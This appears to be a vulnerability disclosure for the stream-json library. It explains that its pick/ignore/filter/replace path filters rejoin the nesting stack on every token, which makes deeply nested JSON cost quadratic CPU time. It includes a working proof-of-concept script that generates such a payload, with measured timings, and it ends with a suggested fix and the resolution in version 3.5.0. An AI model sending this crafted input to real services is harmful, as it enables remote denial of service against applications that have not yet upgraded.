stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)

Description

The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).

This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.

Affected code (v3.4.0)

src/core/filters/filter-base.js:

// L26-32 — string filter: rejoins the ENTIRE stack on every call
const stringFilter = (string, separator) => {
  const stringWithSeparator = string + separator;
  return stack => {
    const path = stack.join(separator);              // O(depth) — every call
    return path === string || path.startsWith(stringWithSeparator);
  };
};

// L34-39 — regexp filter: same
const regExpFilter = (regExp, separator) => {
  return stack => {
    regExp.lastIndex = 0;
    return regExp.test(stack.join(separator));       // O(depth) — every call
  };
};

// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state
const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;

stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.

Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.

Proof of concept

npm i stream-json@3.4.0
node poc-quadratic-dos.mjs

import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';

function run(D) {
  const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data"
  return new Promise((resolve) => {
    const t0 = process.hrtime.bigint();
    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
    pipeline.on('data', () => {});
    pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));
    pipeline.write(doc); pipeline.end();
  });
}
for (const D of [5000, 10000, 20000, 40000]) {
  const r = await run(D);
  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);
}

Measured (Node v24, single core, clean npm i stream-json@3.4.0):

D=5000    bytes= 45001   ms=  160
D=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -> quadratic)
D=20000   bytes=180001   ms= 2511   (4.2x)
D=40000   bytes=360001   ms=11823   (4.7x)

A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.

Impact

Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.

Suggested fix

Maintain the joined path incrementally instead of rejoining the whole stack per token:

• On startObject/startArray push: append separator + key to a cached path string (and remember the pre-push length).
• On end/pop: truncate the cached path back to the remembered length.
• Filters test/startsWith against the cached string — O(1) amortized per token, making the whole traversal O(D).

Alternatively expose/enforce a maximum nesting depth for the filter path check.

Resolution

Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.